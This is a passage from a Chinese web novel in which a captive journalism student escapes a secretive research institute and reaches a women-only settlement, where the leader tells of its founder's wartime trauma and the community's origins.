她当时越想越激动,总觉得自己的怀疑是有价值的,甚至鼓起那样大的勇气,在众目睽睽之下去请教袁立主席。
可为什么,他却要那样侮辱她?
难道他们真的不觉得X109病毒的奇怪之处吗?
难道自己的意见就那么幼稚可笑吗?
想着想着,顾遥脸上已不知不觉满是泪水。
她紧紧地咬着牙,不敢发出无礼的声音,满腹的委屈闷在喉咙中,黑暗中无声的哽咽,阵阵回荡在胸腔。
“好孩子,别哭了。”
一双柔软的手从她身后将她紧紧拥抱,脖颈相接处蓬松的发丛传来温暖的香气,顾遥捂上眼睛大哭起来,眼眶中打转的泪水终于忍不住滚滚落下,打湿了白银的手腕,滑落她黑色的衣裙,渐渐晕染出一团团墨梅一样的痕迹来。
就像一捧悼念的、悲伤的花。
64.脱出囚笼处,她复得自由
白炽灯刺眼的光线将整个房间照耀,白色家具折射出明晃晃的光影,陈立新将整个头蒙在被子里,半梦半醒地睡着。
“滴——”
门上识别屏通过身份认证,应声而开。
有节奏的脚步声响起,一个乔装打扮的黑衣人走进房间,看见了床上的陈立新,放轻脚步,无声无息地走到床头一侧。
黑衣人掀开兜帽,露出一张年轻女子的脸——是白天屠启见过的那个秘书。
“陈立新,醒醒。”
陈立新本来就睡得浅,动静比以往稍微大了点,就这样迷迷糊糊地被叫醒。
她睡眼惺忪地揉了揉眼睛,眼前陌生的面孔一点点清晰起来。
……是新来的看守吗?
陈立新打了个哈欠,慢吞吞地问道:“怎么,又要开始审问了?”
女孩微微一笑,向她礼貌地伸出一只手。
“你好,我叫陈丹,是奕川派来接你离开这里的人。”
一听这话,陈立新顿时睁大了眼睛,方才沉甸甸的睡意荡然无存。
她愣怔征地看了陈丹好一会儿,才不可思议地慢慢点了点头。
陈丹办事很利索,她迅速脱下身上的斗篷,放下身后的背包,从里面翻找出一套实验服,递给陈立新。
“穿上吧,我带你混出去。”
陈立新正要照做,突然想起那个女人说过的话,脸上忍不住闪过一丝犹豫。
陈丹敏锐地捕捉到了女孩的这一异样,关切道:“怎么了吗?”
陈立新摇了摇头。
“没事,只是突然想起那个审问的女人说过,会放我走来着……”
说到这里,似乎是因为有了第二选择的底气,也可能是心中长久积累的那股悲愤所使,陈立新突然下定决心,果断地拿起衣服。
“算了,这么久了都不兑现诺言,那女人多半是反悔了,我们现在就走!”
陈丹满意地笑了笑。
跟在陈丹身后走出牢房,经过长长的走廊,进入电梯,陈立新瞥了一眼电梯显示屏上的时间,上面赫然显示着下午两点二十五分。
……那个可恶的女人,把自己的生物钟弄成什么样子了!
陈立新心中一股火气腾地冒起来,离开这里的欲望猛地膨胀起来。
等她出去了,绝对要把这个邪恶的地方曝光!
然而电梯门一打开,陈立新后背一凉,心中那股火气一下子熄灭下去。
她的视野里,狭小的电梯门之间,充满了忙碌的人群,打电话的、写报告的、接发实验数据资料的……还有站在电梯前的,人来人往,形形色色的眼光时不时瞥过她身上。
他们会看出她的身份吗,会不会突然冲过来把她抓回去?那个女人会不会突然出现,冷笑着将她带回审讯室里?
那句噩梦般的话语又在她脑海里浮现——“你来北海的目的是什么?”
陈立新感到自己藏在实验服里的指尖在微微发抖,精神恍惚间,她隐约听到站在身前的陈丹礼貌地向同事问好,自己的身体也干巴巴地跟着打招呼。
好在眼前的几个研究人员因为接连几天的加班,精神状态已经异常疲惫。
今天的研究所因为X109灾情的突发,确实比以往更忙碌。
大家互相点点头,彼此匆忙地问候一声,就交换了电梯内外的位置,各自忙碌去了。
陈立新就这样跟着陈丹走了出去。
接下来这样的情形重复了数次,终于,二人一路穿行过前方的走廊,又坐了最后一班电梯后,总算抵达了研究所的第一层,也是露出地面的唯一一层。
“您好,这是我的通行证。”
陈丹右手大大方方向前一递,向保安出示自己的胸牌。
保安皱着眉接过,扫了一眼上面的职称和名字,点了点头,将二人放了出去,连例行的识别系统都没用上。
审查似乎要比预想中容易的多,陈立新紧赶几步,与陈丹并排行走,悄声问道:“原来你在这里面的职位这么高的吗?”
陈丹面不改色地走着,低声回道:“二十五万联邦币。”
“……原来如此。”
二人走向最后一扇大门。
门打开的一瞬间,明晃晃的、洁白的天光蓦地闯入陈立新的眼帘。
远处连绵起伏的山影,空气里传来的湿润的风的气息,连同那仙乐一般传进耳中的海浪声,都几乎让她感动得流下眼泪。
走在陈丹身旁,她小小声激动地说道:“我终于自由了!”
陈丹轻轻牵起陈立新的手,以表安慰。
这里是北海偏远处的一处海岸,远处下面的沙滩上停着一辆军用卡车,几个身着北海特遣部队队服的军人持枪在一旁巡逻。
沙滩周边,连同海岸内陆过去的地方,大半个地区被重重铁丝网包围拦截,一副戒备森严的模样,这座研究所的真身显然没有做研究那么简单。
眼看着慢慢走得离那几个军人越来越近,陈立新又忍不住紧张地低下了头。
陈丹松开牵着陈立新的手,走向其中一个带头的高大军人,开始了一番日常的运输请求交涉。
一阵咸湿的海风突然吹拂过来,引起远处丛林沙沙作响,陈立新顿时感觉大脑清爽了很多,平时的勇气似乎也有些恢复了。
是啊,毕竟她都已经从那该死的研究所里出来了。
只要再坚持过这最后的路程,她就能回到联合城邦,回到家中。
陈立新深呼吸一口气,慢慢抬起头,看向陈丹和那个高大的军人,后者皱着眉头频频地向她这边看。
她仰起头,向对方付以一个礼貌的微笑,直接向他走过去。
军人连忙咳了几声,点了点头,让出上车的身位。
上了卡车后面的车厢,是两排纵向面对面的座位,两个军人扶着陈立新登上卡车后面。
她还没来得及道谢,就被潜移默化地带到了中间的座位,硬生生夹在了二人座位的中间。
……这是否有点?
她疑惑地张望四周,发现陈丹居然也是一样的待遇,只不过后者脸上的神情更自然平常一些。
本能吐槽的话卡在喉中不上不下,陈立新脸上挂着尴尬的微笑,身体绷直了,一动不敢动。
什么啊,研究所内部的正经实验人员这种待遇……
押运犯人吗?
车轰轰烈烈地行驶了很久,车厢内左右摇晃着,一路上钢铁摩擦的噪声接连不断,偏偏还没有车窗可以透透气,陈立新被夹在中间,胃部逐渐感到有些难受。
终于,在她快要忍不住的时候,卡车突然停下,后车车厢门被外面检查的人打开,新鲜的空气涌进来。
这次突如其来的停车真是救命,她赶紧做了个深呼吸,长长地吐出一口气。
坐在她对面的陈丹出声关心道:“你还好吗?撑不住的话,我们可以出去休息一段时间。”
陈立新脑海里顿时闪过家中的饭菜和床铺,全身心的意志力瞬间加倍增长。
她坚定地摇了摇头,比了个大拇指,示意自己还能撑。
坐在她右侧,靠近门那边的军人下车了,车门重新被锁上,外面隐隐约约传来交谈的声音。
陈丹还想再说些什么,外面讨论声中却突兀地响起一个冰冷的女声——
“我不记得批准过这个行程。”
陈丹的脸僵硬了一瞬,而后又立马恢复了之前的平静。
看着对面陈立新脸上一闪而过惊慌失措的神情,她不动声色地点了点头,转向身侧的军人,脸上露出礼貌的微笑。
“外面是我的长官,请让我出去跟她说一下。”
两个军人彼此看了一眼,默默让开身位,一左一右带着陈丹下了车。
只有陈立新心中在尖叫——是那个女人!
半路知道自己逃出来了,就赶过来拦截了吗?!
外面传来陈丹和女人说话的声音,女人的声音听起来格外严厉,似乎是在责备秘书在行程报备上的疏漏。
陈立新此时的思绪一片纷乱,身体情不自禁地往车厢内部挪了挪,默默祈祷女人千万不要说出那句话——
“好了,带我进去看看。”
陈丹脸上闪过一瞬间的慌乱,她连忙拉住屠启的衣袖,讪笑道:“关于此次行程的在内人员,在报告上都有记录。”
“我想,您完全不用在这种事情上浪费您的时间。”
这一番突如其来的拉扯,屠启微微皱起眉头。
她偏过头,用审视的目光重新打量眼前这个前几天新上任的秘书,原本只是责备的神情无声无息地变化着,眼底渐生出深不见底的寒意。
“打开车门。”
车外传来女人不容置疑的声音。
陈立新手心此刻全是汗,头情不自禁地低得更深了。
随着一声惊心动魄的咔嚓声,后车厢车门被慢慢打开。
白天刺眼的光线重新照射进车厢内,陈立新只觉得眼前被晃了一下,好像站在无数窥探的闪光灯镜头面前,自己狂跳的心脏尖叫
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着,几乎要挣扎出胸膛。
她微微低着头,盯住自己的鞋尖,垂落遮去半个侧脸的长发是她此时唯一的安全感,她的身体变得越来越僵硬。
外面的女人沉默着,皱着眉往车厢内看了很久很久。
“……通过。”
外面传来陈丹变得有些虚弱的声音,“是,谢谢长官。”
“下次不要再犯同样的错误,现在正是灾情蔓延的紧张时期……”
女人又斥责了陈丹约一分多钟的时间后,带着检查的人扬长而去。
陈立新坐在原位上,只觉得全身此刻大汗淋漓,像是从难以呼吸的人群包围中脱出身来一般。
庆幸之余,她心中还有些许的疑惑。
那女人居然放过她了,是因为真的没认出来,还是终于良心发现,决定兑现自己的承诺?
不管怎么样,她现在是实实在在的自由身了。
外面的脚步声由远及近,车厢门重新被打开,陈丹和之前的那几个军人再次上车,只是这次大家看起来都放松了不少。
毕竟此趟行程,他们各自的职责都在屠启的通过下,得到了尽职尽责的保证。
车辆重新启动,半途中陈立新吐了一次,两个心情不错的军人帮她清理了一番,前排的司机甚至好心地开了半扇窗户。
流动的风从车厢前面灌进来,陈立新感觉身心都放松了不少,往日的个性都一点点回来了。
车厢内几个人开始聊起天来,她安安静静听了一会,竟忍不住向身旁的军人搭话:“刚才你们在外面聊的那个灾情,是怎么回事啊?”
军人惊讶地看向陈丹,陈丹面不改色,平静地解释道:“她是最近才从安全区内来的。”
军人了然地点了点头,“那怪不得了,这么大的事儿也只有上邦人不晓得。”
陈立新脸上好奇的笑容微微僵住。
嗯……她是不是刚才差点捅了什么娄子?
突然,军人像是意识到些什么,转过头来对着她,尴尬说道:“对了,我不是针对你,只是觉得这个事情确实比较大,你别往心里去。”
陈立新连忙摇了摇头,“没事,你说的也是事实。”
坐在陈丹左侧的军人放松地靠后身体,感叹道:“不知道哪儿来这么奇怪的病,人都融化了,还能到处走。”
“是啊,我前几天刚在北海商业区查到一个感染者,整个人已经完全融化掉了,他家人把他放在浴缸里面,舍不得上报军方,带走他的时候,他居然在往家人那边爬!”
“不是吧,真有这么恐怖?”
“岂止,我有个干记者的朋友,前天刚好在感染发生的现场,我跟你们说,那场面……”
陈立新和陈丹默默地听着军人们和司机的聊天,听着听着,陈立新忍不住出声问道:“那你们带走的这些感染者,后面要怎么办呢?”
气氛突然诡异地沉默下来。
良久,前排的司机发出一声讪笑:“我们干外围的哪里知道研究所内部的事情。”
“你说是吧,陈丹女士。”
陈丹没有说话。
车厢里重新安静了下来,只听得见前排车窗灌进的风声。
陈立新疑惑地看了看众人神色各异的脸,慢慢地低下头,看着灰扑扑的车厢内地面,心中的疑云渐生。
北海的谜团似乎越来越多了,袁立和那个女人的研究所,零启计划内关于虫族的阴谋,屠一鸿一而再再而三的隐瞒,安全区内无人知晓的奇怪疾病……
一种隐隐约约的预感在她心头渐生,似乎有什么非常关键的东西,可以将它们连接在一起。
究竟是什么呢?
沉默的车厢内,她坐在硬邦邦的座位上,独自思考了很久很久。
一双星彩流转的眼睛在她脑海里渐渐浮现,结论在她心中一点点形成,事到如今的所有真相,似乎已经呼之欲出。
作为知道零启计划的人之一,屠一鸿恐怕一直以来,都知道阿图特的真实身份,甚至要比她更清楚阿图特的本质。
她之所以答应祝吟辰,帮助她寻找阿图特,要么是为了找到零启计划的实验对象——虫族,要么就是为了顺藤摸瓜地找到正在寻找雌虫的研究所,又或者……两者皆是。
至于突如其来的,被禁止公开在安全区内的灾情,听起来与研究所也密切相关。
……
车厢外的风声逐渐变得喧嚣,陈立新微微皱起眉头,那个问题重新在她心中浮现——
零启计划,到底是什么?
65.世外奇境,三河之地
抵达北海边界的最后一个检查点,在随行军人的合法证明下,陈丹与陈立新顺利通过检查,彻底离开了北海。
等在她们面前的,是充满未知的、真正的无人区。
“我们接下来,是要出发去联合城邦了吗?”
陈立新一边穿防护服,一边朝门外陈丹等待的背影问。
“不,”陈丹倚靠着门框一侧站着,背影摇了摇头:“我们要先去三河区交接人手。”
“三河区?那是什么地方?”
“我真正的属地,也是一个和你们红派有合作的地方。”
陈立新猛地抬起头来,恍然大悟道:“难怪我看你这么面生,我还以为你是最近新加入奕川那边的人呢!”
陈丹背对着陈立新,嘴角轻带起一个浅浅的微笑。
扣紧腰间的皮带,陈立新站起身,试着踏了踏脚上穿的军靴,感到一种沉重的踏实感,新奇又神气,她嘴角忍不住上扬,眼底透出明媚的笑意。
“走吧!”
没错,这才应该是她这趟无人区之旅的真正打开方式嘛!
……
漫漫荒原一望无际,眼下正值初春之际,新生的野草如陆地上的波涛汹涌的海,随阵阵刮过的大风哗啦啦地起伏涌动。
陈立新打开一侧的车窗,惬意地半躺在右座,干爽又略带些未消融残雪冷意的风灌进越野车内的驾驶舱,唤起心中最原始自由的畅快。陈丹也配合地打开音乐,二人笑着打着拍子唱着歌,越野车在音乐的喧闹声中一路前行。
行至将近傍晚时,夕阳西下,照耀大地万物覆上一层金灿灿的光辉。
陈立新眯着眼睛,望见远方约两公里开外,一大片整整齐齐的人造田野块,一条长河蜿蜒曲折,穿越其中,直通向西边的群山,河岸两旁则是层层叠叠的乡下村落遗址,看起来是个有人的地方。
陈立新扯开嗓子,在音乐声中大声问道:“是哪边吗?!”
“是!”
陈丹一边开车,一边大声回应。
行驶的距离越来越近了,陈立新壮起胆子,将半个身子探出车窗外,好奇地往三河区仔细望过去。
现在要看得更清晰一些了,几排铁丝网将方才她看见的区域前面拦住,隐隐约约可见一些人在其中的村落间走动。
她们前方约两百米处,铁丝网的外面有一个哨站,里面坐着一个穿着朴素的持枪女人。
陈立新赶紧把身子缩回了车窗内,又把音乐声调大了一些。
陈丹在哨站前停住车,她摇下车窗,用乡音向哨站里的那个女人喊了一声。
一阵沉闷的脚步声响起,哨站里的女人走了过来,陈丹回过头,向陈立新点头示意后下了车。
尽管听不懂,陈立新还是默不作声地竖直了耳朵。
越野车外传来一阵断断续续的攀谈声,听起来陈丹和那个女人似乎很熟络的样子,大致能听出来一些田地、安全、联合城邦之类的词汇。
过了不久,车门突然被打开,陈丹很快地钻进车辆,陈立新观察到后者脸上有着某种难以掩饰的喜悦。
心中的情感被引起共鸣,她忍不住衷心祝贺道:“恭喜你回家啦!”
知道自己脸上的表情已经喜形于色,陈丹偏过头,有些不好意思地回道:“谢谢。”
哨站的女人站到越野车外一侧的地方,冲她们点了点头,陈丹开始重新启动车辆。
陈立新坐在原位上,远远望见远处的铁丝网大门被打开,心知她们这是马上就要进入三河区了。
三河区,到底是个什么地方呢?
行驶入三河区的村落,陈立新又好奇地探头往车窗外望,才发现这里要比她想象中更现代化。
四周的田野有飞来飞去的无人机打理,几个女人坐在大棚里面挑拣种子;较远处,红瓦白墙的楼房错落有致;房屋间蜿蜒曲折的道路边上,各种营业的商铺正在开张。
经过越野车旁的女人们时不时地跟她们打招呼,陈立新也连忙热情地招手回应。
就这样一路深入三河区,眼见着越野车已经开进了居民区,离前面那个俨然一副“村长办公处”的花园小阁楼越来越近,陈立新心中的疑惑也越来越重。
怎么一路上,她连一个男人也没看见?
不知为何,一个大胆的猜想在她脑海里渐渐浮现——
她直接转头向陈丹问道:“这个地方是没有男的吗?”
然而出乎她的意料,陈丹肯定地点了点头,“嗯,没有。”
陈立新顿时睁大了眼睛。
“那这里哪儿来的小孩?”
“三河区的人可以自由外出,她们怀孕后查出是女孩的话,就会通知我们接她们回来,我们也会定期从下邦的孤儿院里收养一些女孩。”
“怎么养孩子们呢?孕妇的话,恐怕不好工作养家吧?”
“整个三河区就是一个家,我们彼此照顾,这里也没有商品经济,不流通外面的货币。”
陈丹的这些话听起来简直像是童话故事里才有的内容,陈立新听得有些微微的愣神。
她突然又想起来什么,颤抖着手指指向远处的那几家商铺,“那么,前面那几家商店是?”
“那个啊,里面摆的零食和小吃是公开发放的,饿了可以直接去拿。”
陈丹打着方向盘拐了个弯儿,继续说道:“喜欢做饭的人一般会去里面申请工作,吃不完浪费的人会被处罚一个下午左右的社区公共劳动服务。”
“这样啊……”
陈立新慢慢地点了点头,差不多接受了眼前的事实。
离村长家还有五分钟不到的距离,陈丹开车驶向附近的停车场,突然听见陈立新感叹道:“没想到无人区这种地方,居然还有这样的世外桃源。”
她嘴角忍不住轻轻扬起一个自豪的微笑。
“那是因为,我们会严格控制这里的出生率,人口不会因为男人们贪婪的个人欲望而过度泛滥,三河区的所有物资也因此得以合理周转。”
“听起来真不错!”
陈立新赞许地点了点头,接着问道:“话说,你们是怎么建立起这样一个全是女人的地方啊?”
陈丹眨了眨眼睛,声线里突然透出几分调皮。
“这种事,你还是去问村长吧。”
陈立新若有所思地点了点头,慢慢后靠在车座靠背上。
此刻,她的心中已经生出了许许多多的问题。
毕竟,她本就是大学城里传媒学院新闻系的尖子生嘛。
将车停到花园小院附近的停车场里,陈丹和陈立新背好背包,向村长家走去。
“叮铃——”
门铃声响起,陈立新挺直身板,安安静静地站在陈丹后面,过了约一分多钟左右,一个老妇人打开了门。
老实说,如果这是在联合城邦,陈立新会毫不犹豫地认为眼前的人是一位称职的女佣。
然而这是在三河区,所以她此刻无比清楚地知道,眼前这个上身穿着米灰色针织毛衣,下身宽松黑色阔腿裤,一头银白花发的臃肿老妇人,正是这个区域真正的领头人。
陈丹上前一步,握住老妇人的手,亲切地问候道:“好久不见,吕妈妈。”
陈立新脸上的笑容顿时僵住了。
等等……吕妈……吕什么?
人和人之间的关系可以这么随意而亲密的吗?
那等会,她……也要这么叫吗?
在陈立新震惊的眼神中,吕妈妈和陈丹亲密地彼此拥抱了一下,像是一对真正的祖孙一样和谐。
“好了,进来吧,孩子们。”
吕妈妈慈祥地看向陈丹身后的陈立新。
“把你们这一路上的事情都跟我说说。”
进入屋内,室内光线十分明亮,不大的客厅肉眼可见收拾得十分整洁,进门的地方摆了小半面墙壁的绿植,客厅中间的茶几上摆着一壶花茶和一盘果盘,两只毛色相似的狸花猫正趴在沙发上睡得正香,一切都令人感到温馨而舒适。
吕妈妈拉开沙发后的窗帘,外面的夜景静谧而美丽,外面隐约传来不远处人们走动的声音。
陈立新和陈丹并排坐到沙发上,陈立新忍不住去抚摸身旁的猫,猫发出一阵阵可爱的呼噜声。
吕妈妈走进书房里不久,又拿着书房里的电脑出来,坐到她们对面。
陈立新抬起头,看见吕妈妈脸上的笑容。
“说起来,一路奔忙,你们还没吃晚饭吧?”
陈立新心底一个激灵。
这么晚了,还要这样一个老人给她们做饭,这也太不合适了吧?
她连忙摆了摆手:“不——”
“饿了的话,我们早点讲完,你们好早点去附近的晚餐店里吃饭。”
陈立新愣了一下,看见吕妈妈手中的电脑,顿时释然了许多。
……是啊,这里的人已经不需要每家每户丈夫们的妻子来为客人做饭了。
在三河区,任何劳动都是公共的,包括以往父权私有制下女人们为男性公民们提供的家庭内部无偿劳动。
在这里,例如做饭、育孩、亲属养育等等,都有专门的社会责任分工,家务则被规定为培养个人素质的公民个人义务,纳入了三河区的教育必修科目里面。
如果是那些没有人感兴趣,或者过于繁琐,又或者是过于高危的职业,人们就会制造出相应的机器人,用以辅助整个社区的合理运作。
比如眼前这个圆柱筒一样的、身上长着几只手的园艺机器人。
陈立新看着旁边那小半面墙壁的绿植,一个圆盘状的飞行小机器人正在为它们浇水。
而在她的身旁,陈丹正在跟吕妈妈讲述在研究所内部得到的情报,吕妈妈仔细地听着,在电脑上一一地录音记录。
她记得联合城邦里也有不少这种家居型的机器人,只不过它们一般是美女样式的,而且功能也更丰富和人性化。
最近几个月,其中的大品牌还推出了各种各样的帅哥样式,在整个上邦火爆一时,当时她的好多同学都在讨论要不要去买一个。
她清晰地记得,她当时在讨论的同学中间不屑地说道:“要是大半夜的起床上厕所,看见家里有几个人影在晃悠,那可不瘆人的慌?”
其中几个跟她交好的同学出声赞同。
然后她们开始讨论要不要半夜把机器人断电。
如今看来,或许这其中本质性的意义,实际上远远要比吓人与否,或者女男机器人与否,要更值得人去深思。
“好了,姑娘,我记得你叫陈立新,对吧?”
突然听到有人在喊自己,陈立新回过神来,连忙答道:“是的。”
吕妈妈合上电脑,脸上的笑容和蔼极了,“刚刚听陈丹说,你有一些问题要问我?”
“是的。”
陈立新郑重地点了点头,认真地说:“我想请问,您是怎么在无人区建立起这样一个,只有女人存在的区域的?”
陈丹起身去倒茶。
吕妈妈思考了片刻,说道:“不是我,是我们。”
陈立新安安静静地注视着吕妈妈。
她知道,那些封存已旧的历史,将从这位岁月见证者的讲述下,重新被揭开。
果然,吕妈妈接过陈丹倒来的茶,开始述说那些不为人知的往事……
吕月英出生自战前北海附近的一个小国家,她在偏远地区的乡下长大,从小没有读过书,和家中其她的三个姐妹一起,一家人靠供养唯一的儿子度过。
在她活到十八岁时,人类历史上的最后一场战争打响了。
战争真正的导火索已经被AGPC在数据库中抹去,但其实人们知道,无论是什么原因,战争总是永无止境。
原本是大洋另一彼端的国家最先遭殃,但在国际争端的风云变幻中,另一个大国开始强行登入北海这片小国家的据地,以军事同盟的名义开始建立武器实验场地,广泛征兵。
吕月英家唯一的儿子就这样上了战场。
不到一个月的时候里,噩耗从前线传来,吕月英的父母和姐妹哭了三天三夜,最终还是决定将战火下的日子将就过下去。
从那时起,吕月英心中种下了一颗种子——她要为弟弟报仇,冲到战争的前线去,为自己的国家夺得民族的荣耀。
这样的愿望一直维持到了她二十一岁,战争此时已经到了中期,北海小国的统治集团已经变成了任大国控制的空壳子。
社会动荡不断,人们活在水深火热之中,吕月英一家躲到了更偏远的乡下,靠种土豆为生。
直到有一天,前线传来通报,男的都已经打得差不多了,是时候让女的上战场了。
听到这个消息的吕月英激动极了,她一把扔掉地里的锄头,将消息告诉了其他三个姐妹。
除了顾全大局,决定要为父母养老送终的大女儿外,其他几个女儿都怀着激动的心情向父母告别,收拾了简单的行李后,她们手牵着手,光荣地上了战场。
战争是残酷的。
最终活着回家的女儿只有吕月英一个。
她怀着忐忑的心情回到家后,才知道父母早已故去,唯一在世的亲姐姐早已经远嫁外国了。
或者说,是嫁到远方。
因为北海的小国已经解体了,战火纷飞,隔壁的BD两个大国正在争抢北海这片区域。
而她自己也已经面目全非,苦痛的战争使得她失去了生育功能,还患上了严重的哮喘和战争后遗症,如
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果闻到硝烟和火药的味道,她就会开始神经质地发狂。
无处可去,也不忍去打扰姐姐平静的生活,她成为了一名飞行雇佣兵,开始在各国间流浪。
在她二十八岁战功赫赫的时候,A国认可了她的实力,给了她公民的身份,她欣喜若狂,拿出身上所有的积蓄,在街道上开了一个孤儿院,用以接纳因为战争流离失所的孩子。
战争的晚期阶段,无尽的战火已经连绵到了A国,一场人为的传染疾病在四处蔓延,病毒的投放方至今无人知晓,但人们都还记得,它令死者体现出来的恐怖惨状。
吕月英的孩子们也没能幸免,大半个孤儿院的孩子在死去,在上司的劝告声中,她带着深入骨髓的仇恨,毅然决然加入了XX计划,成为了其中的中心执行人。
那是人类历史上最著名的核战争计划之一,它在短短三秒内,毁灭了一整个国家。
战争是残酷的。
她带着铺满胸襟的功勋和奖章,带回了A国人民的荣耀,也得到了A国政府承诺的,孤儿院里孩子们额外的疫苗和物资分配。
但更宏大的□□势不容她参与其中,A国成功撑到了与最后的三个大国进行决战,然而接下来的绝望并非人为,也并非人为可以控制。
那就是饥荒。
非常简单的答案,但没有人可以真正将其解决——几乎所有的土地都被严重污染,海洋中充满辐射,田野里遍布地雷,水资源已经接近枯竭,连绵不绝降下的酸雨对现存的文明加以进一步的毁灭。
包括A国在内的四个大国,就在这样一致的困境中进行着最后的战争。
水和粮食的价格逼近了难以想象的高度,整个社会的经济彻底崩坏,各个家庭为了生存下去,对妇女儿童的流通贩卖成为了常态。
而吕月英面临的困境更为艰难——在应A国政府的要求将男孩们送上战场后,她被要求摘去勋章,辞去工作,将孤儿院里仅剩的女孩们和她一起带走,进入战时特设的“百合花之家”。
“那是什么?”
她当时这样问她的上司。
“那是国家最后的底线,是民族的根基保证,是一个女人实现她崇高荣耀的地方。”
上司挺着胸膛,庄严深沉地这样对她答道。
真相是,那是女人们完全付出身体自愿的地方,是将个人献给民族和国家的地方。
人的生命,为了光荣的牺牲而被创造,为了正义的杀戮而被创造。
抽象的宏达叙事已经深植入每个人的脑髓,除此之外,个人的、具体的毫无意义。
站在上司面前,吕月英想到自己军人的身份,想到A国这么多年以来对自己和孤儿院的扶持,想到自己A国公民的身份,再想到A国社会上民不聊生的惨状……
她服从了。
但她的女儿没有。
枪声是一瞬间响起的,明亮的火花倒映在她眼中,一切都像是慢动作,上司的身影重重倒下,像是一个畸形肥胖的东西,砰一声炸裂开来,惊醒了浑浊昏睡的眼。
那个右腿残疾的女孩站在孩子们中间,手持一杆自造的“筒子枪”,脸上的神情有着一种这个年龄的女孩特有的那种,最为骄傲果敢的冰冷。
上司模糊不清地呻吟了几声,慢慢地就不动了。
她看见血从他胸前的大洞里汩汩流出,她就这样茫然地看了一会儿,视线转移看向那个女孩。
她看见女孩放下枪,平静地看着她,她看见女孩的嘴巴在轻轻地动,好像一首安魂曲的旋律,一直流淌到她心底深处。
“妈妈,我不想当人了。”
“妈妈,再见。”
下一秒,女孩毫不犹豫地向自己的太阳穴举起枪。
于是,耳鸣和晕眩的呕吐感,就瞬间填充了她的整个世界。
她在战争后遗症带来的精神错乱里回过神来的时候,女孩的身体已经冰冷,女孩们的哭声在孤儿院里回荡。
看着周围的一切景象,她感到一种来自灵魂深处的冰冷,好像身体的血液突然换了一轮。
好像,蜕了皮一般。
直到三十五岁的今天,她才真正看到自己,才真正从一个女人的身体里看待整个世界。
过往的一切苦痛此时无比清晰,胸腔里的心脏跳动着,排山倒海的罪恶感向她涌来,她想起自己第一次杀人时,血液喷到身上的感觉,想起自己参与过的计划,想起被敌人捅进下腹时自己的惨叫……想起很多很多。
她突然又想起来,在北海军营的那段时间,她看到战友们冲进异国的一个村庄,在将那里的男人杀死后,他们又强碱了那里的女人,在离开的时候,将子弹射入她们的□□。
“这是为了惩罚她们生下那些XX国杂种!”
他们一脸憎恶地这样对她解释道。
那些异国的女人死去了,她的女儿也死去了,而她现在,终于血淋淋地苏醒来,幼小的躯壳破壳而出,用生而为女的目光,重新审视整个世界。
她终于明白,同样的历史将无止境地循环发生,以各种借口制造的阶级和民族差异在每个人心中种下一颗仇恨的种子,带着人们无止境地冲锋陷阵。
在因为人们喰食彼此的纷争中得以建立起来的,庞大的国家机器中,女人永远是最底层的劳动力制造养成工厂,并将因这个致命的身份,被永永远远困在纷争的最底层。
吃女人的历史该结束了。
孩子们不想做人,她就带着她们离开这片人的地方。
她们将以创造者,以公民的身份,去创造一个新的文明。
吕月英带着剩下的女孩们,离开了A国,离开了一切可以看到人的地方,抵达了现在的地方——三河区。
三条干涸的河床是她们建立新文明的基础,一开始只是一个茅草小屋,后来又多个院子,再后来又多了许多许多,附近流浪的女人们口口相传,投奔这里,于是这里的人也渐渐多起来……
吕妈妈口中的故事结束了,而陈立新已经听得泪流满面。
接过陈丹递来的纸巾,陈立新用力地擦了擦鼻涕和眼泪,带着鼻音的声音问道:“吕妈妈,创造了这样的奇迹,您真的很伟大。”
吕妈妈慈爱地摸了摸她的头。
“谢谢你,这样赞扬我的母亲。”
陈立新恍然大悟,原来吕妈妈是吕月英的女儿!
感到胸中的情感前所未有地激荡,她沉默了一会,抬起头坚定地对吕妈妈说道:“我能去看看吕月英女士的墓碑吗?这样的历史不应该被人类遗忘,我想记录下它,带到联合城邦去。”
吕妈妈看着面前的这个年轻人,她活泼又坚定的样子,像极了自小就在这里长大的人们。
她轻轻地点了点头。
66.三河之外,避世之人
三河区北部,河西公园背后,是三河区公民的陵墓区。
吕月英的墓碑就在中间。
墓碑上已经放满了各种各样的纪念品,花束、手工工艺品、布偶、纸条等等,无声地替还活着的人们缅怀那段过往。
“咔嚓——”
按下快门,将这一幕定格在取景框中,陈立新收起相机,在墓碑一角轻轻放下自己刚写好的信笺。
她写满了衷心的话,愿向这位前辈致以她最深切的敬意。
昨天深夜里刚下了小雨,湿润的雨的味道弥漫在空气里,被染湿的深色石板路面倒映早起晨练的人群,小径两旁的花丛中点缀颗颗晶莹饱满的晨露。
陈立新在这附近又散了一会儿步,感觉到该去吃饭了,遂调头走回陵墓区的大门处。
就在她收拾好东西,准备回旅馆的时,她突然看见大门外面站着三四个聊天的女人,她们身着围裙,似乎是在附近早餐店里工作的人。
现在明明是早上,为什么她们不去工作,为社区准备早饭,却还聚集在这里呢?
怀着好奇,陈立新悄悄放慢了脚步,竖直了耳朵,听那几个女人聊天的内容。
其中穿红毛衣的中年女人似乎是这场聊天的中心,她皱着眉叹了口气:“如果她再不过来,我就要去找社区警察求助了。”
“她不是养蜜蜂的吗,可能是在吃蜂蜜过日子吧。”较为瘦削的年轻女人乐观地安慰道。
短头发的灰色单衣女人摇了摇头,“还是要派人去看看,不怕一万,就怕万一。”
……
陈立新越听越觉得新奇,听起来,她们是在讨论一个很久没有来三河区吃饭,甚至很久没来买菜的养蜂女人。
她心中突然生出一种冲动——要不要凑个热闹,去看看呢?
好像有点太唐突了吧……
眼见着自己已经走过大门,与那几个女人擦肩而过,而她们已经开始商量让谁请假去找社区警察,陈立新忍不住感到越来越急切。
仔细想想,反正她今天也没有什么事,奕川派来接她的人明天早上才到,不如去看看情况,说不定还能得到更多关于三河区民生新闻资料!
想到这里,陈立新的内心蓦地变得坚定。
“你们好!”
她转身走向女人们,脸上露出友好的笑容。
“请问,有什么我可以帮忙的吗?”
……
养蜂人住的地方不在三河区,而是在三河区外面西边的一处悬崖边上。
坐上社区警察们的车,一路驶向悬崖附近,陈立新远远望见了悬崖上的一处院子。
低矮的石砌屋舍紧挨着里面的一棵大树,旁边整整齐齐码着几排精心打理的蜂箱,院子外不远处是一片被围起来的花田。
警车停在院子面前,她跟着社区警察们下了车,几个人走进院子,四处观察着,其中一个去敲屋舍的房门。
几只胆大的蜜蜂围着她们嗡嗡地飞舞,陈立新还是第一次见到蜜蜂的养殖场,情不自禁地摸了摸脖子上挂着的相机,想着一会找机会问问这里的主人能不能拍摄。
社区警察敲了几下门,见没有回应,大声地往里面喊:“祁女士,您在吗?”
